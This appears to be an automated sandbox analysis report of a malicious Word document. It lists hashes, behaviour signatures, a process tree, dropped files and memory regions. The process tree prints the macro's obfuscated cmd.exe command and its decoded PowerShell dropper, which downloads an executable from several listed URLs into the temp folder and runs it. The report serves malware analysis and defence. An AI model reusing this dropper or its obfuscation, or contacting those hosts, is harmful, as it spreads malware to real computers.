Analysis

  • max time kernel
    138s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 02:10

General

  • Target

    65a516955b0345b5e93bc29e27b2f386_JaffaCakes118.doc

  • Size

    138KB

  • MD5

    65a516955b0345b5e93bc29e27b2f386

  • SHA1

    52717949c0beffd542f26611d403fba1f281a3de

  • SHA256

    c72fd091e8a1d736c019d67277f221e67c198a4975cb38fa42e11ed8f363c677

  • SHA512

    0c1424e2e346b40944bf512e38c027ffeacc43c494cafd0169174dc6feb20f2a920fd1ca3690828eab07b8fd0c5162e870ba30e1f34548542b3d2e2b36ecd7c8

  • SSDEEP

    1536:Zu81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadp+aZys+Pz+kp:g8GhDS0o9zTGOZD6EbzCdXGaU

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\65a516955b0345b5e93bc29e27b2f386_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3172
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\cmd.exe /V:O/C"set SNT= }}{hctac}}kaerb;Uar$ ssecorP-tratS;)Uar$(elifotevas.wvt$;)ydoBesnopser.QjY$(etirw.wvt$;1 = epyt.wvt$;)(nepo.wvt${ )'*ZM*' ekil- txetesnopser.QjY$( fI;)(dnes.QjY$;)0,KlB$,'TEG'(nepo.QjY${yrt{)LLN$ ni KlB$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = wvt$;'ptthlmx.2lmxsm' moc- tcejbO-weN= QjY$;)'exe.zCj\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=Uar$;)'@'(tilpS.'Y/ur.luanrab-robdopotva//:ptth@9t/au.moc.krowtenstrapotua//:ptth@KIizcsy/ua.moc.noitcurtsnoccke//:ptth@Y1nNI8w/moc.gniniartatarebilativ//:ptth@W4/ku.em.we-sivadwerdna//:ptth'=LLN$;'aVA'=jLE$ llehsrewop&&for /L %q in (568,-1,0)do set wM=!wM!!SNT:~%q,1!&&if %q==0 echo !wM:~4! |FOR /F "delims=.7XGv tokens=2" %u IN ('assoc^^^|findstr 1x')DO %u -"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1756
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /V:O/C"set SNT= }}{hctac}}kaerb;Uar$ ssecorP-tratS;)Uar$(elifotevas.wvt$;)ydoBesnopser.QjY$(etirw.wvt$;1 = epyt.wvt$;)(nepo.wvt${ )'*ZM*' ekil- txetesnopser.QjY$( fI;)(dnes.QjY$;)0,KlB$,'TEG'(nepo.QjY${yrt{)LLN$ ni KlB$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = wvt$;'ptthlmx.2lmxsm' moc- tcejbO-weN= QjY$;)'exe.zCj\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=Uar$;)'@'(tilpS.'Y/ur.luanrab-robdopotva//:ptth@9t/au.moc.krowtenstrapotua//:ptth@KIizcsy/ua.moc.noitcurtsnoccke//:ptth@Y1nNI8w/moc.gniniartatarebilativ//:ptth@W4/ku.em.we-sivadwerdna//:ptth'=LLN$;'aVA'=jLE$ llehsrewop&&for /L %q in (568,-1,0)do set wM=!wM!!SNT:~%q,1!&&if %q==0 echo !wM:~4! |FOR /F "delims=.7XGv tokens=2" %u IN ('assoc^^^|findstr 1x')DO %u -"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3248
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo powershell $ELj='AVa';$NLL='http://andrewdavis-ew.me.uk/4W@http://vitaliberatatraining.com/w8INn1Y@http://ekcconstruction.com.au/yscziIK@http://autopartsnetwork.com.ua/t9@http://avtopodbor-barnaul.ru/Y'.Split('@');$raU=([System.IO.Path]::GetTempPath()+'\jCz.exe');$YjQ =New-Object -com 'msxml2.xmlhttp';$tvw = New-Object -com 'adodb.stream';foreach($BlK in $NLL){try{$YjQ.open('GET',$BlK,0);$YjQ.send();If ($YjQ.responsetext -like '*MZ*') {$tvw.open();$tvw.type = 1;$tvw.write($YjQ.responseBody);$tvw.savetofile($raU);Start-Process $raU;break}}catch{}} "
          4⤵
            PID:3208
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" FOR /F "delims=.7XGv tokens=2" %u IN ('assoc^|findstr 1x') DO %u -"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2492
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c assoc|findstr 1x
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3936
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" assoc"
                6⤵
                  PID:3084
                • C:\Windows\system32\findstr.exe
                  findstr 1x
                  6⤵
                    PID:5060
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  PowerShell -
                  5⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1184
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =AVa
                    6⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:748

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Temp\TCD9145.tmp\iso690.xsl

          Filesize

          263KB

          MD5

          ff0e07eff1333cdf9fc2523d323dd654

          SHA1

          77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

          SHA256

          3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

          SHA512

          b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ryap5ddm.g2w.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1184-54-0x00000269E8880000-0x00000269E88A2000-memory.dmp

          Filesize

          136KB

        • memory/1184-59-0x00000269E8E60000-0x00000269E8ED6000-memory.dmp

          Filesize

          472KB

        • memory/1184-58-0x00000269E8D90000-0x00000269E8DD4000-memory.dmp

          Filesize

          272KB

        • memory/3172-9-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-19-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-8-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-0-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-11-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-12-0x00007FFA45EB0000-0x00007FFA45EC0000-memory.dmp

          Filesize

          64KB

        • memory/3172-10-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-14-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-13-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-16-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-18-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-17-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-15-0x00007FFA45EB0000-0x00007FFA45EC0000-memory.dmp

          Filesize

          64KB

        • memory/3172-21-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-20-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-7-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-39-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-6-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-5-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-1-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-4-0x00007FFA885CD000-0x00007FFA885CE000-memory.dmp

          Filesize

          4KB

        • memory/3172-3-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-2-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-557-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-558-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-559-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-560-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB

        • memory/3172-580-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-582-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-583-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-581-0x00007FFA485B0000-0x00007FFA485C0000-memory.dmp

          Filesize

          64KB

        • memory/3172-584-0x00007FFA88530000-0x00007FFA88725000-memory.dmp

          Filesize

          2.0MB